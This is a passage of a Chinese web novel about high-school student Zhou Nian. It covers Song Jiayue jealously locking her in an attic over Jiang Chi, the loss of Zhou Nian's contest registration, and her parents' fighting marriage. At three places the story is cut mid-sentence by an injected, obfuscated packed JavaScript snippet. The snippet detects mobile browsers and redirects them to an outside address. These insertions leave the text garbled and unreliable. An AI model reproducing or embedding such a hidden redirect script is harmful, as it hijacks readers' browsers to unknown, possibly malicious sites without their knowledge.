也是,他怎么会觉得自己有问题呢。 周念想。 她回过头对叶琳说:“为什么笑?” 叶琳笑容僵住,尴尬解释:“我不是那个意思。” 周念:“什么意思?” 叶琳:“……” “努力不该被嘲笑。” 她说:“做错事才应该。” 当时江池没把这句没头没脑的话放在心上,直到后来,他才发现这句话是周念特意说给他听的。 * “我叫你吃麻酱。” “我叫你芒果过敏。” 宋佳月踢着岸边的砂石泄愤,一脚下去连沙带石呛进嘴里。 “呸呸呸。” 太背了。 她把嘴里的沙子吐出来,嘴巴是好受了,心里却堵得难受。她又委屈又丧气,脑中想了一万个法子让江池注意自己。失足坠海?不行,黑灯瞎火容易弄巧成拙。迷路失联?也不行,万一惊动警方被按个寻性滋事的名头。 想了又想,忽而脑中闪过赵樾的一句话。 阿池想要吓唬吓唬她。 得知周念不去放烟火的消息,宋佳月觉得这是冥冥之中的安排。于是她主动留下来陪周念收拾。 “我叫宋佳月,你叫什么?” “周念。” “你是一中的对吧,听阿樾说你是一中学神。” “……没有。” “那你谈恋爱了吗?” “……也没有。” “那你有喜欢的人吗?” “……” ‘友谊’是从废话开始的,宋佳月深谙此理,所以对周念说了一堆废话,洗到最后一只碗时她突然说道。 “江池他很挑。” 话题转得太快,周念在很长一段时间里都没有接话。 她又说:“他不是谁都看得上的。” 周念把最后一只碗用布抹干放回碗橱,冲着她温和的笑:“也包括你吗?” “……” 宋佳月在海边反复回想洗碗时的场景,每每想起周念那个耐人寻味的笑就急火攻心。 “太气人了!” 她往地上狠狠剁了一脚,溅起的小石子打在徐明的裤腿上。他不明就里得看着后头气鼓鼓的姑娘。 “谁得罪我们姑奶奶了?” “要你管!” 宋佳月撂下话,气势汹汹往回跑。 架势太大,江池也注意到了这头,徐明试图与他搭话。 “你惹她了?” 江池眉头一蹙:“小姐脾气。” 宋佳月回到住处先做了三个深呼吸,确定此时此刻自己已经心平气和下来才迈着步子上二楼。 那间‘女生寝室’的门缝里透出暖黄色的光。 她在门口深吸一口气,随后装作着急的模样猛地开了门。看门动静不小,周念下意识地看了过来。 “回来了?” 这句‘回来了’太过自然,以至于让宋佳月产生错觉:这个‘书呆子’是不是根本不知道自己得罪人了? 假惺惺的。 宋佳月不敢把嫌弃情绪挂在脸上,装模作样地在自己地铺上翻找‘丢失的手机’。 周念:“在找东西?” 宋佳月:“嗯,我手机不见了。” 周念拿出自己的手机问:“需要帮忙吗?” “要。” 宋佳月也没客气,直接从她手里抽出手机。手机是解了锁的,她拨通自己的电话。 半晌,周遭无声。 周念询问道:“你铃声开了吗?” 宋佳月故作惊慌:“完了,好像被我静音了。” “啧。” 宋佳月拿着手机往外走,走到一半忽然止步:“你手机先借我用用可以不。” 周念没犹豫,点头后问:“需要帮忙找找嘛?” “需要。” 宋佳月眼珠子一转,伸手向上指了指:“我去厨房找找,你帮我去阁楼找找,我刚刚去阁楼拿过炭。” 周念没立即行动,像是有点犹豫。宋佳月见状故意说:“你要怕的话,你去厨房,我去阁楼。” “没事,我可以去阁楼。” 周念把书合好放在一旁,笔记本的墨水干透后也合拢放好。 宋佳月很‘好心’地打开了通往阁楼的楼道灯,还不忘透露线索:“阁楼是杂货间,你帮我仔细找找,特别是木炭旁。” 阁楼积灰严重,周念每往上一步,鼻腔的粉尘味就越加浓郁。她摸索着打开阁楼的电灯,随着‘吱’地一声电流声,内部模样乍现。 空间很小,目测仅有有七八个平方,本就拥挤的空间被杂物堆满更显逼仄。边上有扇玻璃窗,窗户很大,边框早已锈迹斑斑。窗户旁摆放着一张实木课桌,桌上摞满旧课本。 周念鬼使神差地翻起了那堆旧课本,一时忘了上阁楼的初衷。她随手捡了一本,是江池小学三年级的暑假作业,上面密密麻麻地记录着当时那个小男孩是如何烦躁且无奈的对付着这堆作业的。 两百字的作文被他草草几个字带过。 七月八日,晴,妈妈给我包了饺子,难吃。 八月十二日,阴,妈妈第二次包饺子,很难看,但是好吃,是虾仁味的。 八月十九日,晴,我会水下憋气两分钟,张x根本不是我的对手。 男孩的文字稚气又张扬,当时的江池除了几本暑假作业还会有什么烦恼呢?周念的思绪被一击摔门声打断,她回身张望,头顶的灯却灭了。 “怎么回事儿?怎么突然停电了。” 门外人真情实感地演绎着遭遇‘突发状况’的措手不及。她企图扭开把手,可尝试了几次都以失败告终。 “你这门怎么关上的?我为什么打不开?” 周念在黑暗中适应了几秒,好在月光很盛,窗户也够大,透进来的光足够她看清周围。她走到门前同样试了几次,结果相同。 宋佳月显得比她着急。 “会不会是太久没用,锁坏了?” 这世上哪有那么巧的事,周念抿唇不语,猜了个大概。她没有点破,默了几秒,顺着她的意思回道。 “打不开就叫人来帮忙吧,我在这儿等你。” 计划实施前,宋佳月做了最坏的打算。如果被周念识破,那就破罐子破摔,以此警告她让她离江池远一点。如果没被识破,就当作一个意外,将她困在阁楼一晚。要是江池问起来,横竖都有借口,毕竟是他自己说的想要吓唬周念,这样也是在为他分担。 二者相较,她更希望周念是个看不透的笨脑筋,说到底她是不愿意跟任何人撕破脸的,包括赵樾和叶琳。 事实证明,周念果然符合宋佳月对学霸的刻板印象——有点脑子都用在读书上了。 “那你的手机怎么办?” “帮我拿着就行。” “那我这就去叫人。” “嗯。” 宋佳月一路忐忑,平生做过最坏的事也只是踢翻流浪狗的狗盆子。而今晚她把一个活生生的人关进了阁楼,仅仅是因为她和江池有一两个相似点。 可是……她又凭什么能和江池一样。 心情在自责和妒嫉中反复跳脱,浑浑噩噩就来到了约定的海岸边。第一个发现她的是徐明。 “见鬼了?闷闷不乐的。” “没有。” 宋佳月说话的模样像吊着最后一口气的病人。 “为什么还没开始放烟花?” 提到这个,徐明差点被这一群人逗乐了。 “烟花都没准备,还放个屁呀。” 宋佳月:“那你们怎么不回去?” 徐明:“阿樾去买了。” 宋佳月:“在这儿干等?” 徐明摊手:“不然呢?” “……” 环顾一圈,她没看到江池。 “阿池人呢?” “你来的时候没看到他吗?他懒得等,直接回去了。” “……” * 江池开门的的动静不算大也算不上小,声音能隐约传到阁楼。周念闻声,用手在门上敲打出声音。 “有人吗?” 这是他住了十年的房子,熟悉到能准确无误的判断出声源出自哪里。他没第一时间给予回应,奇怪她为什么会出现在阁楼。 周念再次叩门。 “有人吗?阁楼门锁坏了,麻烦帮我开一下。” 江池拐进楼道,脚未踏实又缩了回来,原地犹豫一秒后他折返回了厨房。冰箱里没有水,只有喝剩下的几听啤酒,大约是渴了。他随手打开一瓶,仰头喝了几口。 喝完,看了眼手机屏幕。 一个小时,江池默念。 比起张宁的所作所为,一个小时并不算久。 * 沙地狂奔简直受罪,双腿使不上力不说还容易崴脚。宋佳月暗骂自己太蠢,居然大费周章地给江池和周念制造独处机会。 要命,这就是捉弄人的代价? 她再次看到江池时是在距离江池家不到两百米的岸边,当时他正坐在一块兀起的礁石上。 “站住。” “啊!” 宋佳月跑得专注,被人一喊,吓得七魄散了三魄。 江池:“是我。” “吓死我了。” 她拍了拍胸口,试图安抚那颗呼之欲出的小心脏。 “你怎么在这儿?” 江池背着月光走过来,离得很近却看不到他的表情,也听不出语气。 “你干的?” 宋佳月被问得心虚,开始装傻充愣:“你在说什么?” 江池闷笑,是那种把人看透却懒得说破夹带着奚落和嘲弄的笑。 静默了好一会儿,他冷冷警告:“没有下次。” 宋佳月瞬间晃神,面前的他似乎回到他们初识时的样子,冷漠疏离,不近人情。只一件小事就能把她这些年死缠烂打好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107889|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易才拉进的距离推的很远。 她不甘心:“江池!我是为了谁?是不是你自己对赵樾说想要吓唬周念。我不过顺了你的心,帮你做了事,你不谢我就算了,反过来怪我吗?” 江池深蹙起眉,莫名烦躁,右手下意识地拨弄起口袋里的打火机。 “那是我自己的事,你少管。” “你以为我乐意吗?你知道我有多害怕吗?我蚂蚁都舍不得踩的人,我……” 宋佳月气急,鼻子一酸就不想跟他吵了,错在自己说再多都是徒劳。她转头要走,被江池扯着领子倒退回原地。 她打掉他的手。 “干嘛呀!” 江池不耐烦:“去哪儿?” 宋佳月:“还能去哪儿?去道歉,去赔罪,去给她磕头,满意了吧。” “……” 暗中江池叹了口气。 “你别回去了,她以为锁坏了应该不知道是你故意的,我会想办法圆回来的,你就当作什么都没发生过。” 宋佳月觉得自己肯定是魔怔了,只要是江池就算打一巴掌给个甜枣,居然也能甘之如饴。 她姿态放软,低声问:“那我去哪儿啊?” “别回去,爱去哪儿去哪儿。” * 凌晨三点零七分,整整一个小时。江池回到小楼,阁楼已经没了动静。他没有刻意放慢动作,知道阁楼门锁早已损坏,所以开门时施力很重,即使这样开门的声响也没把周念吵醒。 他低头睥着环抱双膝窝在角落的周念,佩服她心态好,这鬼地方也能安稳入睡。 江池用手轻轻地扯了下周念的衣袖,试图把她叫醒。 “醒了。” 眼皮子缓慢抬落数次,周念大脑放空许久才仰起头看他。 “现在几点了?” “三点多。” “那么晚了?” “刚才我们去小岛另一头买烟花,小月找不到我们,所以来晚了。” 门也开了,人也醒了,事情经过也交代清楚了,没有再在阁楼逗留的必要,江池头也不回转身下楼。 他在二楼的楼道口顿了顿,楼上没有响动。 半晌,他无奈上楼。 周念还在原地,只是抱膝的动作变成双腿垂地。江池弯下腰,屈膝蹲地,双肘抵膝,眼睛故意触碰她的视线。 “睡习惯了,舍不得走?” 周念用手揉着小腿,声音闷闷的。 “腿麻,动不了。” “……” 几乎是条件反射般,江池倾身靠近,没等周念反应,他的手就很自然地环在她的肩上。他把她抱起,用手臂撞掉摞起的那堆书本,顺势将人放在桌上。 动作连贯,一气呵成。是尴尬的,本不属于他们的亲密举止。 于是,两人相对无言。 等江池回过味来,才发现周念已经洗漱完毕,那柔软的手感不知是来自睡衣还是身体。 “自己甩甩,活动活动就不麻了。” 完全麻痹的状态下根本无从施力,周念第一次清晰地感知思想无法操纵肢体的无奈。 “我动不了。” 她小声的试探道:“你能帮帮我吗?” “……” 仍是江小爷不耐烦的语气。 “哪只脚?” 周念:“左边,小腿。” 既然环抱不需要心里建设,那揉个腿也不必矫情。可当江池用手托住周念的小腿时,仍本能地咽了口气。他低估了暗夜中无限放大的触感,她的小腿纤细笔直,流畅而光滑,与他触摸过的所有实物都不一样。 “啪。” 好在窗外的烟火即时浇灭某人急剧上升的心火。 周念的目光被窗外的烟花吸引,她专注地看着火点上升,绽放,熄灭,然后暗自猜测下一次烟火的形状和颜色。 “真好看。” 江池不感兴趣,懒得施舍一眼,之前的杂念被烟花声击碎,荡然无存。他顿了顿,意外自己居然能静下心来帮面前的人揉腿。 愣神间,鼻尖萦绕一股浅淡的栀子香,随之而来的是一阵喷射在他颈间的热流。 江池心头一怔,本能地往后微仰。 “别动。” 烟火没停,天地忽明忽暗,周念的脸近在咫尺,此时此刻,她就像只好奇的小猫,紧紧盯着自己眼睛,之后游走而下,停留在他耳根。 “你不要动,不然就贴不准了。” 借着短暂的光芒,她把创可贴轻轻地附在江池耳根的细痕上,用手指慢慢抚平,她的指尖很凉,轻柔的触感在他耳边反复摩擦。 又一次无意识地咽气后,江池偏头一躲说:“算不上伤,不用贴。” 伤口是驱赶孩子时留下的,原本口子就小,早没血了。周念解释:“刚才就想给你,但人太多就没好意思给。” 江池哼笑:“所以你带身上了?” 所以你有备而来?所以你伺机等待? 周念点头:“嗯。” 原想玩味着想看她窘迫回避,没想到她的眼神直白坦荡,不躲不闪,甚至在这一瞬能在她眼里看到绽开的烟花。他不合时宜地想着,这烟花确实挺好看的。 这场眼神对峙最终以江池‘落荒而逃’结束,他把周念的腿放下。 “动一下看,好了没。” 周念乖乖照做,思维和肢体衔接上了。 “谢谢。” 9. 第 9 章 竞赛报名截止日当天,周念一上午都没怎么听课,思绪很难集中在黑板上。报名表被抽取数次,薄薄的一张纸仿佛是她提前飞离银城的机票,登机前,她会反复确认航班信息。 机会只有一次,不能出现任何纰漏。 中午,她拿着报名表来到年级主任办公室。刚到门口就听到里头传出少女的娇嗔:“舅舅,你别小看我,化学是我的强项。” 之后是年级主任的憨笑。 “小小,不是舅舅灭你志气,我们整个银城的教育水平就摆在这儿,历年都没出过保送生。我只是希望你把更多的时间放在基础课上,倘若提高二三十分,那进首府大学不是稳了嘛。” “你就是看不起我。” “舅舅跟你实话实说,如果我们一中能出一个保送生,那这个人只能是周念。” “为什么?” “这不明摆着么,差距在这儿。” “您真行,涨别人志气,灭我的威风。要不这样,如果这次初赛成绩我比她好,那您就支持我继续复赛。如果她比我好,那我就乖乖地放弃比赛。” “行。”年级主任眉眼弯起:“真拿你没办法。” 周念没打扰两人续话,只是安静地等在门口,约莫三五分钟后,姜小小从办公室走了出来。擦肩时,她先注意到周念的报名表然后目光向上,在与周念对视的一瞬眉宇间透露出胜券在握的自得。 报名表与其他人的重叠的那秒,周念竟觉得无比轻松,这几天她时常惦念着表格会不会损坏,有没有信息填写错误,书写是否规范。真的上交了也就尘埃落定了,心思可以回到那些计算公式和英文字母上。 午休过后,叶琳依依不舍地回到座位,临近上课,她在微信上和赵樾见缝插针的腻歪几句。 几句话的间隙,有人发来微信。叶琳点开对话后兴奋地粘到周念肩旁:“这周日有空不,妙妙约我们吃饭。” 周念端起桌角的水杯,旋开杯盖,抿了一口,眼睛从始至终也没离开过书本。 “没空。” “张姨早班哎,没人管你。” “……” 又来了,又来了。 “我真的没时间。” “哎呀……你不就是看书吗,要不这样,我陪你早上去图书馆,中饭和妙妙一起吃。反正你去图书馆也得吃饭不是嘛。”叶琳小眼神晃了晃,借用起赵樾对付她的法子:“实在不行我买你一天的时间,你开个价。” 周念脱口而出:“一万。” 这回轮到叶琳哑然了。 叶琳当她开玩笑,假装考虑,而后咬咬牙一拍桌子:“好,一万就一万,周学神的一天值了!” 周念合上杯盖,偏过头,不苟言笑道:“我说真的,你借我一万,后面我会还给你。” “你最近怎么了?那么缺钱?” 叶琳猜测她一定是遇到大事了,几本书几张碟不至于让她穷到有上顿没下顿,她不安地耸起眉心担忧道:“是不是遇到了自己解决不了,又不能告诉叔叔阿姨的事情?” 周念父亲周宏伟是教育局的领导,母亲张宁是公司生产会计。照例以她家的条件一两万的小事根本不在话下,除非这件事是不能告知父母的。 “都不是,是我想买一件东西。” “什么东西那么贵?” 周念的目光落道课桌深处的手机上。 “以后你会知道的。” 周末银城出梅入伏,行道树上的知了日夜叫嚣,企图吞没一整个夏天。三十五度往上的日子,方妙把约会地点定在了火锅店。叶琳说她有病,脑子被热坏了,方妙不以为然说这是最容易偶遇江池的店。 方妙和叶琳一样是周念的发小,上高中前三人几乎形影不离,但方妙力气没使在学习上又不像叶琳有一技之长,中考勉强上了三中,于是三人被迫分开。 一见面,叶琳就没给方妙好脸色,白眼都快飞上天了。 “你要见江池跟我说一声不就完了,我有他微信,再不然,我让赵樾约他出来。” “那怎么行,偶像只能远观不能亵渎。” 方妙大手一挥在菜单上勾了一排肉类,转页到蔬菜上却吝啬地挑选起来,挑了选去在生菜和菠菜上打了勾了,她把菜单推向周念。 “念念,加菜。” 周念扫了眼她点的菜,五六个人的菜量,看一眼就饱了,她又把菜单推了回去。 “够了。” 这家店主打黄牛肉,肉都是新鲜现切的,锅底都开始翻腾冒泡了,菜却迟迟没有上来。看着锅内翻腾的气势逐渐汹涌,叶琳有些诧异:“都快十分钟了,你今天居然没提一次江池。” 周念记得第一次听到‘江池’这个名讳是在三人上高中后的第一次聚会上,那会儿方妙说自己遇到了理想型,自那次开始方妙就三句不离‘江池’。 比如,看到芒果,她会说‘江池不吃芒果,吃了身上会痒’。又比如,调个火锅酱料,她会说‘你们见过有人吃火锅,麻酱里只放醋和糖的吗’。又或者,路过新开的游泳馆的时候,她会说‘江池要是在这里做志愿者多好啊,怎么会去城南老游泳馆。’ 所以当赵樾说‘你跟我们阿池真有缘’时,周念会想,有时候人为的缘分又何尝不是缘分呢。 她鬼使神差地问了句:“妙妙,你还喜欢江池吗?” “打住!” 方妙伸出手掌,示意她就此打住。 “偶像懂吗?我只觊觎他的皮相,然后把他的皮相套在我心里构建的人设上,每天睡前脑补一些不切实际的情节罢了。我永永远远诚服于温柔暖男,但江池不是,动不动就臭脸。” “嚯。”叶琳差点听笑了:“怪深奥的。” “那当然。” 方妙挑了挑眉,似是想到什么,冲厨房喊了句。 “老板,要三碗秘制麻酱。” 然后给对面两人介绍。 “这家的牛肉配秘制麻酱一绝。” 周念:“两份吧,我自己去调碗酱油醋就行。” 方妙:“对哦,我给忘了,你最讨厌吃芝麻了。” 嗯? 叶琳记得那日在岛上,周念似乎是要了麻酱。她想了想又自我否定,无所谓了,这些无关紧要的小事她向来不放心上。 方妙:“我跟你们说个事儿。” 叶琳:“说。” 方妙没急着说,而是煞有介事地给周念和叶琳斟满果汁,正襟危坐后宣布:“我恋爱啦。” 听到消息别说叶琳,连周念都又惊又喜地弯起唇角。 “真的假的?” “谁啊?” 以往两人很难把‘腼腆’和方妙联系在一起,今天她却露出少女独有的娇羞。不知道是火锅太热还是不好意思,她整个耳根都被熏得绯红。 “就是我经常提起的同桌。 “他追的我,两年了。” “我本来不同意的。” “没办法,他死缠烂打。” “我心软,就同意了。” 其中细节被一两句话带过,或许只有当事人知道,年少的喜欢和被喜欢来自于同一个人是有多幸运。 聊了会儿,话题转向周念。 方妙:“小念呢?你有动静吗?” “你疯啦?” 这是叶琳今天第二次冲她翻白眼。 “她要恋爱了,你信不信张姨能拿着砍刀屠学校。只要是个男的都得死,宁可错杀,不能放过。” “哪儿有那么夸张。” 方妙嘴上这么说,心里是赞同叶琳的说法的,甚至更甚,别说屠学校屠城都有可能。 “怎么没那么夸张?” 叶琳试图找几个例子来佐证她的想法。 “你忘了?小时候小念游泳厉害,被教练看中邀请她去省队,周叔叔很赞成,但张姨死活不同意都闹上电视了。说体育没出路别耽误小念,除非她死了,不然小念只得乖乖上学。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107890|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周念默默听着,味同嚼蜡般咽下一口嫩牛肉,又随手捞了一片生菜。她记得那会儿她还偷偷地告诉过叶琳,她说我以后要参加奥运会,为祖国争光。那小表情洋洋得意的,只是后来她的脸上再没出现过这样自信而笃定的小骄傲。因为张宁用绝食一周逼她放弃了游泳,那时她就明白,在张宁面前哭是没用的,闹是没用的,对于她的钳制,除了麻木顺从再无他法。 方妙心细,一眼就察觉到了周念低沉的情绪,她再一次转开话题。 “那小念到底喜欢怎么样的男孩子啊?” “我喜欢?” 她真的有在认真思考。 最后不太确定地说:“善良一点的吧。” 下半天,周念在图书馆呆到了闭馆,离开前,她借走几本竞赛相关资料,都是往年的考题和答案解析,够她消化两三个礼拜的。 夏日黄昏弥留长久,几近晚七点,西边天光未尽,几簇红白云朵像浮游在天空的金鱼。她心情很好地把画面用手机记录下来,发了朋友圈,没有配文。 发完才看到这张图片的下面是江池发的图片,一样的天空,一样没有文字。 他会看到吗? 会吧。 但…那又如何。 她望向天空的目光逐渐冷淡,就像那天在阁楼看着江池从家里离开,再看他假装好心解救自己。从始至终都是这样的眼神,淡漠的,冷静的,事不关己的眼神。 周念在家门口安静地站了会儿,脑子里过了一遍接下来张宁可能会问到的问题,梳理完毕才慢条斯理地取钥匙开门。 大门敞开,脚下是一大片玻璃渣,不止脚下,整个地面都是杯子碗筷的尸体。周念深呼吸看向狼藉中心地带的周宏伟,他像没事人一样坐在沙发上,专注地翻看报纸。要不是周念喊了一声‘爸’,他还能若无其事地坐更久。 周宏伟掀开报纸一角,探出半个脑袋:“念念回来了。” 周念垫着脚尖,一步一步靠近玻璃渣边缘。她大概能猜到事情经过但还是不甘心地问了句:“地上怎么回事?” 周宏伟冷笑。 “还能怎么回事,你妈疯了。” 周念想为张宁争辩几句,暗忖了会儿,觉得大概率是徒劳无功也就懒得开口了。她拿来扫帚把地上大块玻璃渣扫进垃圾桶,再用厚塑料袋反复裹了好几层确认不会轻易擦伤才从书包里掏出白纸和笔,在纸上写明:内有玻璃。 临了,周宏伟才舍得离开沙发,过来帮忙。 “当心手。” 周念:“我会小心的。” 周宏伟走到冰箱旁,伸手在冰箱顶上摸索,边找边说:“女孩子应该温柔贤淑做个体面人。不要像你妈一样动不动就发神经,一生气就歇斯底里。非要闹得鸡犬不宁,让邻里邻居看了笑话去。” 找到双面胶,他把周念手里的纸条抢过来蘸在装玻璃的袋子上,再次开口时加重了语气:“丢人现眼。” 周念抿了抿唇,不置可否。 他似乎不解气,继续诋毁自己的妻子。 “我就没见过像她一样的泼妇,只要违背她的意思就揪着你不放,把你从头到脚数落一遍,骂得一文不值。跟她呆在一起,多一分钟都是煎熬。” “她一开始就这样吗?” 周念忽然打断道。 “你认识她的时候她就这样吗?所以如果她本质就是个不讲理的人,为什么你们还要结婚?” 还是……厌了、倦了、有了新人了。 当然后半句她没说出口。 又是一声冷笑,周宏伟把塑料袋扔到桌上回身拿他的报纸。 “小孩子懂什么?” 周念拎着垃圾出了门,垃圾桶附近有一只灰色的小野猫,每每路过周念都会给它带一根火腿肠,时间一长,一人一猫就熟络起来。她把火腿肠掰得很碎,这样在外逗留的时间就能长一点,她远远地望着自家的小洋房,它暗沉,坚固,密不透风,像一个为她铸造的牢笼。 10. 第 10 章 深夜,书房的灯还亮着,房门半开,周念穿着睡衣轻轻地扣了一下门。当时周宏伟正在用手机打字,听到声他条件反射般按黑屏幕,把手机倒扣在书桌上。 他问:“那么晚了,怎么还不睡?” 周念垂眸一扫,目光瞟过那只手机,很快又瞥向别处。 “爸,我想找您要点钱。” 周念的生活费一向都是张宁在给,而且在生活费上张宁出手向来大方。主要是怕自己女儿贪便宜买三无食品,到时候吃坏了肚子是小,浪费时间,学习上跟不上才是大。所以即便只是高中,周念就有令人艳羡的生活费。 按理这些钱对付平时的吃穿用度绰绰有余。周宏伟疑惑道:“要多少?” 周念平静地回道:“两万。” 这个数字远超出‘零花钱’的范畴,周宏伟由不解转化成担心。 “你要做什么,需要两万。” “我报名了今年的学科竞赛,校外有专门的竞赛培训机构,我想利用课余时间参加。培训费两万。” 周宏伟想了很久,追问道:“学科竞赛和高考内容完全两码事,如果你把大量的心思放在学科竞赛上从而忽略了基础课程,万一没拿到保送资格,那就得不偿失了。” 他补充道:“以你现在的能力,稳扎稳打度过这一年,首府大学是势在必得的,我们没有必要走捷径。” “爸。” 她露出渴望的眼神。 “我想试试。” 周宏伟叹气:“那你有把握吗?” 周念:“有。” 睡前,周念习惯性的看了眼手机,朋友圈那张天空图收获了不少赞和评论。清一色的好看、真美、太漂亮了,中穿插着一个‘呵’字,是江池留的。她懒得深究这个字的本意,但也回复了他一个问号。 这个问号自然不会被解答。 当然,她也不在乎。 * 周念没有登上提前离开银城的飞机。对于最终没有提前离开银城的可能,她做过无数设想。或许是因没通过初试,或许是没通过复试,亦或者压力太大身体不能承受高强集训。可万万没想到,她连报名都没成功。 她站在年级主任桌前,听他不停懊悔。 “周念,是老师对不起你。我是真的万万没想到那一堆报名表格里面没有你的。” “我明明记得你的表格是和大家的放在一起的。” “我真是没脑子,居然把表格夹在书里了。” “怪我怪我,上交表格的时候也不仔细看看。” “我老了,糊涂了。” “不过你也别太难过,不参加竞赛未必是件坏事。银城就没出过保送生,你没必要花时间精力去参加这些比赛。而且以你的成绩,上首府大学是十拿九稳的事。” “……” 后续周念就没怎么在听了,她走出办公室,毒辣的日光不由分说地将她包围。即便这样,她也没觉得多热,只觉得偶尔从办公室吹出来的空调风凉的惊人。 银城已彻底入伏,三伏天,走廊上横冲直撞的风都裹挟热浪,吹得人燥热难安。叶琳把空白物理卷子折成扇子,扇了没两下就不动了,这点风头对抗四十度的天,简直杯水车薪。可蚊子再小也是肉,没有风哪能活,她又开启手动模式。 赵越因为竞赛的事被叫去办公室开会,下课这十分钟,叶琳无处消遣只得缠着周念。 “小念,你怎么没去开会啊?” 周念把夹在一叠课本中央的竞赛书抽出来,放进书包。 “我不用去了。” “为什么?” “报名没成功。” 叶琳用整整十秒钟来消化‘报名没成功’这句话的含义,最终不得结果。 “什么意思啊?什么叫做报名没成功,以你的成绩有什么不能报的?” 周念一遍遍抄写着同一个英语单词,可字母只写在书上,没写在心里,她合上书本强迫自己默写,只写了个‘a’就卡顿了,她泄愤似地往纸上画了个叉。语气却很冷静。 “我的报名表没有交上去。” 叶琳更想不通了:“那为什么他们的都交了,就你的没有交呢?” 她放下笔,深吸一口气,沉默了很久才说。 “也许有人不想我参加。” 傍晚时分,霞光烧红了整一片天,偷摸着带手机的同学无暇顾及会不会被抓,一个个掏出手机拍照,拍视频。有几个女生熟练地凹造型,也有几个腼腆生疏的比耶自拍。几乎所有人都在享受这难得偷闲时光。 周念沉默地路过一个又一个笑脸,她实在笑不出来。就像当初放弃游泳时,张宁为了‘奖励’她破天荒的带她去了一次游乐场。那天张宁很高兴,而她却怎么也笑不出来。 她站在水池边发了会儿愣,等来往的人散去好几波她才想起过来的初衷。她掬起一捧水往脸上泼,试图让自己从沮丧的情绪中挣脱出来。可水只能泼在表面,泼不到心里。 “周老大。” 有股重量抵在周念左肩,很快消失。姜小小拍了拍周念的肩,嘴角咧得很高。她打开水龙头,单单洗了那只手。 “刚刚开会怎么没看到你啊?” 周念从口袋里取出一张纸巾,擦了擦脸。 “哦,我给忘了,刚刚开会年级主任还提过,说是你的表格没上交。” 笑容在她脸上放大,肆意的,不加收敛的。 “之前我还跟我舅…不对,是年级主任。我还跟他打过赌呢,说初赛成绩我比你好就继续参赛,要是没考过你就乖乖巩固基础。” “可惜了。” 她假模假式地叹了口气。 “本来我还想凭本事赢过你的。” “你赢不了我。” “你说什么?” 周念站在原地直勾勾地看着她,嘴角极淡地扯了扯,回到惯用的不温不火的语气重复了遍。 “你赢不了我的。” “你……” 姜小小不怒反笑。 “你就自我安慰吧,考试资格都没有,你怎么赢我?” 周念用手掸了惮左肩,试图掸掉点什么,之后再一次洗手。 “我劝你听听你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平时循规蹈矩的人消失两节课,叶琳差点把报案笔录都想好了。 “天台。” “你去天台干嘛?” “放风。” 叶琳轻拍胸口,快速抚慰自己紧张的小情绪。 “我以为你没报上名,想不开呢。” 周念开玩笑说:“我看上去有那么脆弱吗?” “没有啦。” 她咧咧嘴。 大约只有至亲至近的才能感受到对方的逞能,叶琳忽然一把抱住周念,将脑袋枕在她的颈窝,亲柔地像哄孩子似的哄她。 “小念,你是金子,是银城最闪最亮的那一块金子。没有任何事能让你蒙尘,也没有任何人可以阻止你前行。你不必为一张小小的报名表而沮丧,没有竞赛无非就是少了一条通往首府大学的路,但是以你的能力,多走几步迟早都会到的。” 11. 第 11 章 周日,傅研起了个大早,她打开衣柜,在清一色旗袍中选了一件黑白竹纹的,及腰的长发被素色木簪挽成发髻,额前碎发梳理得一丝不苟。 刚踏出门半步,似是想起什么,回头看了眼日历,大约是怕忘了,从笔筒里捡了支铅笔在九月十日的位置画了个圈。 傅研身段好,气质好,脸也标致,四十往上走的年纪,脸上却不见皱纹,只有微笑时眼角的纹路会偶尔出卖她。在菜市场这种充斥着被琐事耗尽容颜的妇女的地方,她无疑是最光鲜亮丽的一个。 等她买完菜走后,小贩就会交头接耳,表面议论她搔首弄姿,背地里嫉妒她青春常驻。更有甚者即垂涎她的美貌,又轻贱自己的地位身份,得不到就尽情诋毁:这种女人肯定被很多男的睡过,老子才不稀罕。 她很少同附近的邻居交流,只有提及江池时,会偶尔聊上几句。 “我儿子长得可帅啦。” “我们阿池过几天也要成年了。” “小孩子快高考了,没时间过来。” “等他考上大学,请你来吃酒。” 傅研很少做饭,纵使这么多年来都是自己照顾自己,她也不常下厨。厨艺这东西很奇怪,有人生来就有,有人下了力气也不一定会,她就属于后者。仅仅是剃个虾壳就花了她三个小时。 一年就包一次饺子,自然谈不上什么进步,成品依旧丑陋。 但好歹能看出是个饺子。 她将包完的饺子分装在四个保鲜盒内,冻一下午后把它用袋子包交到宋佳月手上。 “月月麻烦你了。” “阿姨,您别客气。” 宋佳月从她手里接过饺子,温吞道:“就是……您知道的,阿池他不一定收。” “我知道。” 傅研笑得很温婉。 “你就说是你自己包的,你手笨不太会包,所以难看了点。” “可是……这个法子上次试过。他不会信的。” “也没关系。” 傅研无奈,自从江桥去世后江池对她的态度一直不好,甚至可以用厌恶来形容。只要是她送过的东西都会被当成垃圾处理。 “那你就悄悄地放进他的冰箱吧,能放几天是几天。” “可是……” 